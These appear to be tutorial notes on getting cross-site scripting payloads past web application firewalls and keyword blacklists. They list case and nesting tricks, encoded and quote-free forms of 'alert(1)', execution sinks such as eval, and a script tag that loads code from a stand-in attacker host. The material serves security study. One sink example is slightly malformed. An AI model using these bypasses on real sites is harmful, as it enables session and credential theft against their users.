WAF#
a WAF ( Web application firewall) blocks certain request based on a list of rules. For example, if request contains the string ' OR 1=1-- - then block
It blocks certain words in certain places like <script> in the URL, or alert, etc.
Some are easy to bypass, some are hard
Bypass WAF#
Use OWASP’s XSS Filter Evasion Cheat Sheet. Furthermore, there are collections of XSS payloads for different types of filters. For instance, if we are unable to use any parentheses, we may refer to the XSS without Parentheses payload collection
Simple blacklist#
Suppose a web application implements a simple blacklist to block keywords. We can try a few things like the casing in HTML tags, pseudo-protocols, and event handlers
<ScRiPt>alert(1);</ScRiPt>
<object data="JaVaScRiPt:alert(1)">
<img src=x OnErRoR=alert(1)>Furthermore, if it strips all <script> keyword but not recursively, we can bypass the filter with a payload similar to the following:
<scr<script>ipt>alert(1);</scr<script>ipt>Lastly, if a blacklist expects a space before any event handler or an input field does not allow a space, the following payload may bypass the filter:
<svg/onload=alert(1)>
<script/src="https://exploit.htb/exploit"></script>Encoding#
In JavaScript, we can apply many different encodings to strings that help us evade blacklists. Here are different encodings of the string "alert(1)":
## Unicode
"\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"
## Octal Encoding
"\141\154\145\162\164\50\61\51"
## Hex Encoding
"\x61\x6c\x65\x72\x74\x28\x31\x29"
## Base64 Encoding
atob("YWxlcnQoMSk=")To supply our payload in a string, we need to be able to use quotes. If a filter removes or blocks quotes, we can use one of the following tricks to create a string containing our payload:
## String.fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)
## .source
/alert(1)/.source
## URL Encoding
decodeURI(/alert(%22xss%22)/.source)And to execute those strings, we need to pass it into an execution sink, like eval()
eval("alert(1)")
setTimeout("alert(1)")
setInterval("alert(1)")
Function("alert(1)")()
[].constructor.constructor(alert(1))()Like this:
eval("\141\154\145\162\164\50\61\51")
setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
Function(atob("YWxlcnQoMSk="))()